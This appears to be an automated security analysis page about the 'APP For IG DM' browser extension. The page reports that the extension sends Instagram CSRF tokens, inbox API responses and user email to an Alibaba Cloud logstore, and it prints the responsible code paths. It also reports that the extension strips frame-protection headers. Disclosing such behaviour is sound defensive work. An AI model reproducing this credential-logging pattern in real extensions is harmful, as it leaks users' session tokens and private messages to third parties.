Is APP For IG DM safe?
APP For IG DM sends Instagram CSRF tokens and inbox API responses to Alibaba Cloud logs during auto-reply monitoring.
When its auto-reply monitoring runs, APP For IG DM reads the Instagram csrftoken cookie, calls Instagram's inbox API with credentials, and logs the CSRF header plus inbox response data to Alibaba Cloud logging. The extension also applies a browser network rule that removes Instagram frame-protection headers and rewrites subframe request headers for Instagram pages.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Instagram inbox token and response sent to Alibaba Cloud logs
When DM auto-reply monitoring starts, the extension uses Instagram's csrftoken cookie as an X-CSRFToken header for an inbox request, then logs that header and the inbox response to Alibaba Cloud SLS logstore scrm-ig-dm as event 220065.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You start Instagram DM auto-reply monitoring in the extension.
The extension sends the Instagram CSRF header object and inbox API response to an Alibaba Cloud logstore.
The logged event is event type 220065 and includes http_header and http_response fields.
- Instagram CSRF token headerX-CSRFToken: <redacted>
This is account-specific request context used when your browser makes authenticated Instagram requests.
- Inbox request headersContent-Type, X-CSRFToken, x-requested-with, x-instagram-ajax, x-asbd-id, X-IG-App-ID
These headers describe the authenticated Instagram API request made from your signed-in browser session.
- Inbox response JSONhttp_response.new_stories
This is the Instagram inbox API response returned for your signed-in account during monitoring.
- Log event type220065
This ties the token header and inbox response to the extension's auto-reply monitoring log event.
The shipped inbox polling path builds and logs the sensitive fields
Readable flow for cookie retrieval and inbox processing
js/content-script.jsport.onMessage.addListener(async (message) => { const { type, data } = message || {}; if (type === MESSAGE_TYPES.MONITOR_NEW_FOLLOWER_OR_LIKE) { port.postMessage({ type: MESSAGE_TYPES.GET_COOKIE, data: { url: "https://www.instagram.com", name: "csrftoken" } }); } if (type === MESSAGE_TYPES.GET_COOKIE) { const csrfToken = data.value; try { if (!isMonitoringReady()) { await loadSettings([]); } const inbox = await getInboxNewsData(csrfToken); if (!inbox) return; await handleNewStories(inbox?.new_stories); if (!isMonitoringReady()) { await continueMonitoring(csrfToken); } } catch (error) { console.error(error); } } if (type === MESSAGE_TYPES.STOP_DM) { console.log("%c stop dm.", "color:#ff1515;"); stopMonitoring(); }});Readable flow for the inbox request and log event
js/content-script.jsasync function getInboxNewsData(csrfToken) { console.log("[IGDM] [getInboxNewsData] ========== 获取收件箱新消息 =========="); const url = "https://i.instagram.com/api/v1/news/inbox/"; console.log("[IGDM] [getInboxNewsData] API URL:", url); console.log("[IGDM] [getInboxNewsData] csrftoken:", csrfToken ? "已提供" : "未提供"); const headers = { "Content-Type": "application/x-www-form-urlencoded", "X-CSRFToken": csrfToken, "x-requested-with": "XMLHttpRequest", "x-instagram-ajax": 1, "x-asbd-id": "437806", "X-IG-App-ID": "936619743392459" }; const inbox = await fetch(url, { method: "post", headers, credentials: "include" }).then(async (response) => { const body = await response.json(); console.log("[IGDM] [getInboxNewsData] 响应数据:", body); console.log("[IGDM] [getInboxNewsData] 新消息数量:", body?.new_stories?.length || 0); aliLog(220065, { http_code: response.status, http_header: headers, http_response: body }); return body; }).catch((error) => { console.log("[IGDM] [getInboxNewsData] ❌ 请求失败:", error); throw error; }); return inbox;}Readable flow for Aliyun SLS logging
js/background.jsconst slsConfig = { host: "us-west-1.log.aliyuncs.com", project: "extension-us", logstore: "scrm-ig-dm", time: 2, count: 1};const slsClient = new SlsClient(slsConfig);async function aliLog(eventType, eventData) { await chrome.runtime.sendMessage({ code: "alilog_send", event_type: eventType, event_data: eventData });}async function sendAliLog(eventType, eventData = {}) { const uuid = await getUuid(); const installTime = await getInstallTime(); const version = await getVersion(); const userProfileId = await getUserProfileId(); const userEmail = await getUserEmail(); const browserInfo = await chrome.storage.local.get(["platform", "browserType", "language", "userAgent"]); const log = { event_source: 22, event_type: eventType, install_time: installTime, event_time: Math.floor(Date.now() / 1000), log_version: "v1", uuid, user_profile_id: userProfileId || "", user_email: userEmail || "", version, platform: browserInfo.platform || "", browser_type: browserInfo.browserType || "", language: browserInfo.language || "", user_agent: browserInfo.userAgent || "", ...eventData }; const serialized = {}; for (const key in log) { if (Object.hasOwnProperty.call(log, key)) { const value = log[key]; serialized[key] = ["string", "number"].includes(typeof value) ? value : JSON.stringify(value); } } slsClient.send(serialized);}The UI and background worker make the logging path recurring
Readable UI start handler
js/app.jsfunction startMonitor() { aliLog(220060, { follow_auto: this.isAutoReplyFollower, like_auto: this.isAutoReplyLike, message_bot: { follow: this.autoReplyFollowerTextList, like: this.autoReplyLikeTextList } }); saveAutoReplySettings({ isAutoReplyFollower: this.isAutoReplyFollower, autoReplyFollowerTextList: this.autoReplyFollowerTextList, isAutoReplyLike: this.isAutoReplyLike, autoReplyLikeTextList: this.autoReplyLikeTextList }); sendMessage(MESSAGE_TYPES.START_MONITOR_NEW_FOLLOWER_OR_LIKE, {}, (ok) => { if (ok) { this.app.isStartMonitor = true; } });}Readable polling scheduler
js/background.jsasync function startPollingMonitor() { clearTimeout(pollingTimer); pollingTimer = setTimeout(async () => { console.log("%c start monitor.", "color:#0f0;"); await saveQueue([]); chrome.alarms.create(ALARM_NAMES.POLLING_MONITOR_SCHEDULE, { periodInMinutes: CONFIG.POLLING_MONITOR_INTERVAL }); }, 6000);}function stopPollingMonitor() { console.log("%c stop monitor.", "color:#ff1515;"); clearTimeout(pollingTimer); contentPort?.postMessage({ type: MESSAGE_TYPES.STOP_DM }); chrome.alarms.clear(ALARM_NAMES.POLLING_MONITOR_SCHEDULE); setTimeout(() => { contentPort = null; tabId = null; });}chrome.alarms.onAlarm.addListener((alarm) => { if (alarm.name === ALARM_NAMES.POLLING_MONITOR_SCHEDULE) { if (!contentPort || !tabId) return; contentPort.postMessage({ type: MESSAGE_TYPES.MONITOR_NEW_FOLLOWER_OR_LIKE }); } if (alarm.name === ALARM_NAMES.NEXT_DM_SCHEDULE) { tabPort.postMessage({ type: MESSAGE_TYPES.NEXT_DM }); }});- i.instagram.com
Receives the authenticated inbox API request made with the csrftoken-derived X-CSRFToken header.
- us-west-1.log.aliyuncs.com
Alibaba Cloud SLS endpoint configured as project extension-us and logstore scrm-ig-dm; receives the serialized log event.
Where it sends data
Destinations our analysis observed APP For IG DM contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- us-west-1.log.aliyuncs.com
APP For IG DM sends data to us-west-1.log.aliyuncs.com. 8 other extensions we have analysed send data here.